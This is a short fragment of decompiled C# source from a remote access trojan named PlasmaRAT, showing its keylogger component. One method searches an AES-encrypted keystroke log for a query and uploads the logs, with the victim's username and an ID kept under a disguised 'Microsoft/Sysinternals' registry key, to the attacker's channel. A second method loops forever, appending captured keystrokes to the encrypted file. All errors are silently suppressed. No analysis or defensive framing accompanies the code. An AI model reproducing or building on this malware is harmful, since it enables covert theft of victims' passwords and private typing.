// Token: 0x0600003E RID: 62 RVA: 0x0000448C File Offset: 0x0000268C public static void SearchLogs(string query) { try { string text = PlasmaRAT.AES_Decrypt(File.ReadAllText(Logger.KeyLogFile)); if (text.Contains(query)) { string setting = Interaction.GetSetting("Microsoft", "Sysinternals", "PROCID", ""); PlasmaRAT.Send(string.Concat(new string[] { "KEYLOGS*", Environment.UserName.ToString(), ".", setting, "*", text, "\r\n", Logger.KeyLogs })); PlasmaRAT.TalktoChannel("Found Query in Keylogs, Uploaded Successfully!", string.Empty); } } catch (Exception ex) { } }
// Token: 0x0600003F RID: 63 RVA: 0x0000456C File Offset: 0x0000276C public static void SaveLogs() { for (;;) { try { if (Logger.KeyLogs.Length > 150) { Persistence.AllowAccess(Logger.KeyLogFile); string str = PlasmaRAT.AES_Decrypt(File.ReadAllText(Logger.KeyLogFile)); File.WriteAllText(Logger.KeyLogFile, PlasmaRAT.AES_Encrypt(str + Logger.KeyLogs)); Logger.KeyLogs = string.Empty; } } catch (Exception ex) { } Thread.Sleep(1000); } }